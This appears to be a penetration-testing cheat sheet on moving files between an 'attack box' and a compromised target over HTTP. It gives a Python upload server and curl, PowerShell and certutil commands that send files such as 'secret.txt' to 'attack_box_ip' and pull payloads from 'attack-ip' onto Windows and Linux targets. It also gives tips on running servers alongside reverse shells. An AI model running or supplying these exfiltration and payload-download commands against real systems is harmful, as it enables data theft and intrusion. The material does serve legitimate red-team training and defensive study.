HTTP
HTTP POST (Upload to Attack Box)
Server Side (Attack Box)
Python Server
Python HTTP Upload Server Source Code (Show / Hide)
#!/usr/bin/env python3
import os
import argparse
from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleUploadHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
content_type = self.headers.get('Content-Type', '')
if 'multipart/form-data' not in content_type:
self.send_response(400)
self.end_headers()
self.wfile.write(b'Expected multipart/form-data')
return
boundary = content_type.split('=')[-1].encode()
remainbytes = content_length
line = self.rfile.readline()
remainbytes -= len(line)
if boundary not in line:
self.send_response(400)
self.end_headers()
self.wfile.write(b'Content does not start with boundary')
return
# Parse headers
line = self.rfile.readline()
remainbytes -= len(line)
filename = line.decode().split('filename=')[-1].strip().strip('"').split('"')[0]
save_path = os.path.join(SimpleUploadHandler.output_dir, filename)
# Skip Content-Type and blank line
self.rfile.readline(); remainbytes -= len(line)
self.rfile.readline(); remainbytes -= len(line)
try:
with open(save_path, 'wb') as out_file:
preline = self.rfile.readline()
remainbytes -= len(preline)
while remainbytes > 0:
line = self.rfile.readline()
remainbytes -= len(line)
if boundary in line:
out_file.write(preline[:-2]) # Strip trailing \r\n
break
out_file.write(preline)
preline = line
self.send_response(200)
self.end_headers()
self.wfile.write(f"File '{filename}' uploaded to '{save_path}'.\n".encode())
except Exception as e:
self.send_response(500)
self.end_headers()
self.wfile.write(f"Upload failed: {e}".encode())
def run_server(port, output_dir):
# Check if output directory exists
if not os.path.isdir(output_dir):
raise Exception(f"Output directory does not exist: {output_dir}")
SimpleUploadHandler.output_dir = os.path.abspath(output_dir)
server = HTTPServer(('', port), SimpleUploadHandler)
print(f"Server listening on port {port}")
print(f"Files will be saved to: {SimpleUploadHandler.output_dir}")
server.serve_forever()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Simple HTTP File Upload Server")
parser.add_argument('-p', '--port', type=int, default=8000, help='TCP port to listen on (default: 8000)')
parser.add_argument('-o', '--output-directory', default='/tmp', help='Directory to save uploaded files (default: /tmp)')
args = parser.parse_args()
run_server(args.port, args.output_directory)
http_upload.py
Example Usage:
python3 http_upload.py -h
Show help output
sudo python3 http_upload.py --port 80 --output-directory "$PWD"
Serve on tcp/80 and save uploaded files to the current directory
Client Side (Target)
Linux Client
curl -F 'file=@/tmp/secret.txt' 'http://attack_box_ip/'
Windows Client
PowerShell: .NET Reflection
[void](New-Object System.Net.WebClient).UploadFile('http://attack_box_ip/', "C:\Windows\Temp\secret.txt")
Using .NET reflection
PowerShell: Invoke-WebRequest
PowerShell (Show / Hide)
$filePath = 'C:\Windows\Temp\secret.txt'
$file = try { Get-Item $filePath -ErrorAction Stop } catch { throw $_.Exception }
$fileContents = $(-join[char[]][System.IO.File]::ReadAllBytes($file.FullName))
$uploadUri = 'http://attack_box_ip/upload.php'
$formBoundaryBegin = '----l337PwnzFormBoundary'
$formBoundaryEnd = $formBoundaryBegin + "--`r`n"
$formBody = @"
$formBoundaryBegin
Content-Disposition: form-data; name="file"; filename="$($file.Name)"
Content-Type: application/octet-stream
$fileContents
$formBoundaryEnd
"@
$parameters = @{
'Method' = 'POST'
'Uri' = $uploadUri
'Headers' = @{
'Content-Type' = "multipart/form-data; boundary=$formBoundaryBegin"
}
'Body' = $formBody
}
Invoke-WebRequest @parameters
Neither -InFile nor -Form support multipart/form-data natively like you'd see with curl, so we must build the multipart request ourselves when using Invoke-WebRequest
$filePath = 'C:\Windows\Temp\secret.txt' ; $uploadUri = 'http://attack_box_ip/' ; $file = try { Get-Item $filePath -ErrorAction Stop } catch { throw $_.Exception } ; $fileContents = $(-join[char[]][System.IO.File]::ReadAllBytes($file.FullName)) ; $formBoundaryBegin = '----l337PwnzFormBoundary' ; $formBoundaryEnd = $formBoundaryBegin + "--`r`n" ; $formBody = "$formBoundaryBegin`nContent-Disposition: form-data; name=`"file`"; filename=`"$($file.Name)`"`nContent-Type: application/octet-stream`n`n$fileContents`n$formBoundaryEnd" ; $parameters = @{'Method' = 'POST'; 'Uri' = $uploadUri ; 'Headers' = @{ 'Content-Type' = "multipart/form-data; boundary=$formBoundaryBegin" } ; 'Body' = $formBody } ; Invoke-WebRequest @parameters
Same request as above but as a one-liner
Windows Binaries
curl.exe -F 'file=@C:/Windows/Temp/secret.txt' 'http://attack_box_ip/'
If curl.exe is installed
Python Web Server
Python 2 vs. Python 3
python3 -m http.server 50011
Start HTTP server on tcp/50011 using Python 3
python2 -m SimpleHTTPServer 50011
Start HTTP server on tcp/50011 using Python 2
Transfer from Attack Box
You've got a payload in the /tmp folder on the Attack Box that you want to transfer to a target
To Windows
sudo python3 -m http.server --directory /tmp 80
Start HTTP server on tcp/80 on attack box and serve files out of /tmp
certutil.exe -urlcache -split -f 'http://attack-ip/filename' 'filename'
Use certutil.exe on Windows target to download file from attack box
Invoke-WebRequest -UseBasicParsing -Uri 'http://attack-ip/filename' -OutFile 'C:\Windows\Temp\filename'
Use PowerShell Invoke-WebRequest to download the file from attack box
To Linux
sudo python3 -m http.server --directory /tmp 80
Start HTTP server on tcp/80 on attack box and serve files out of /tmp
curl http://attack-ip/filename -o /tmp/filename
Download file from attack box to Linux target using curl
wget http://attack-ip/filename -O /tmp/filename
Download file from attack box to Linux target using wget
Transfer to Attack Box
From Windows
Assumes Python is installed on the Windows target and that the TCP port is allowed through the firewall
$job = Start-Job -ScriptBlock { python3 -m http.server 51110 --directory 'C:\Users\john.doe\Desktop' }
Serve files out of user desktop on target and bind to tcp/51110 to avoid needing admin privileges
Use Start-Job to run the server in the background for best experience with reverse shells
$job | Remove-Job -Force
Kill the job when finished
From Linux
python3 -m http.server 51110 --directory /home/john.doe &
Serve files out of user home path on target and bind to tcp/51110 to avoid needing root privileges
Background the job with & for best experience with reverse shells
To Attack Box
curl http://target-ip:51110/filename -o /tmp/filename
Use curl to download file from target to attack box
wget http://target-ip:51110/filename -O /tmp/filename
Use wget to download file from target to attack box